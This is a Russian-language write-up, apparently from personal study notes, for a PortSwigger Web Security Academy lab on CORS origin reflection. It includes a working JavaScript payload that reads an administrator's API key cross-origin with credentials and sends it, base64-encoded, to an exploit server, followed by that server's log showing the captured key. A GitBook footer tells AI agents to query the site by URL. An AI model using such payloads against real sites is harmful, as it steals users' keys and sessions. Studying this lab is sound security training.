> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cors/cors-basic-origin-reflection.md).

# Базовое отражение Origin в CORS

Заметки по базовому отражению Origin в CORS для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Уязвимость CORS с базовым отражением Origin

Используя чрезмерно разрешающую конфигурацию CORS (сервер доверяет любому источнику) для получения API-ключа от администратора через кросс-доменный запрос с `учётными данными` и отправить ответ на наш сервер эксплойта. Задание считается решённым, когда API-ключ администратора будет отправлен на сервер эксплойта.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Предоставленные данные для подключения: `wiener:peter`.
* Код на стороне страницы получает API-ключ из `/accountDetails` и отображает:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Заголовки указывают `Access-Control-Allow-Credentials: true` (сервер принимает запросы с cookies/учётными данными).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Проверив запрос с `Origin: jord4n.pro` заголовком, ответ возвращается (отражённый origin принимается).

```javascript
Origin: jord4n.pro
```

* Сервер отражает/разрешает переданный origin, поэтому страница под контролем атакующего может выполнить `XMLHttpRequest` или `fetch` на `/accountDetails` с включением cookies жертвы (`withCredentials = true`) и получить JSON-ответ, содержащий API-ключ.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

После прочтения ответа его можно передать на сервер (например, закодировав в base64) для сбора.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Жертва) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Работающий сервер получил GET-запрос, содержащий закодированный ответ, например:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
